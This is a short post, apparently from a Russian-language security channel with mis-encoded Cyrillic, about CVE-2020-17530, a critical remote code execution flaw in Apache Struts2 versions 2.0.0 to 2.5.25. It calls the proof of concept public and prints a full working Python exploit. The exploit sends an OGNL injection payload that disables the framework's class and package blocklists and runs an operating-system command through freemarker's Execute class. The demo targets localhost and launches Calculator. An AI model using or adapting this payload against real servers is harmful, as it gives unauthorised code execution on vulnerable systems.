🧨 CVE-2020-17530: Π£Π΄Π°Π»Ρ‘Π½Π½ΠΎΠ΅ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π° Π² Apache Struts2



Π‘Ρ‚Π΅ΠΏΠ΅Π½ΡŒ ΡΠ΅Ρ€ΡŒΠ΅Π·Π½ΠΎΡΡ‚ΠΈ - критичСская. PoC стал общСдоступным ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ ΠΈ ΠΎΠ±ΡˆΠΈΡ€Π½ΠΎΠ΅ влияниС. Для Ρ‚Π΅Ρ…, ΠΊΡ‚ΠΎ Π½Π΅ успСл ΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ΡŒΡΡ, ΠΊΠΎΠ΄ Π½ΠΈΠΆΠ΅.



Python PoC:



# 2.0.0 ~ 2.5.25



import requests



url = "http://127.0.0.1:8080/struts2_showcase_war/hello.action"



data = {

"name": '%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("/System/Applications/Calculator.app/Contents/MacOS/Calculator")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}'

}



res = requests.post(url, data=data)




#rce #cve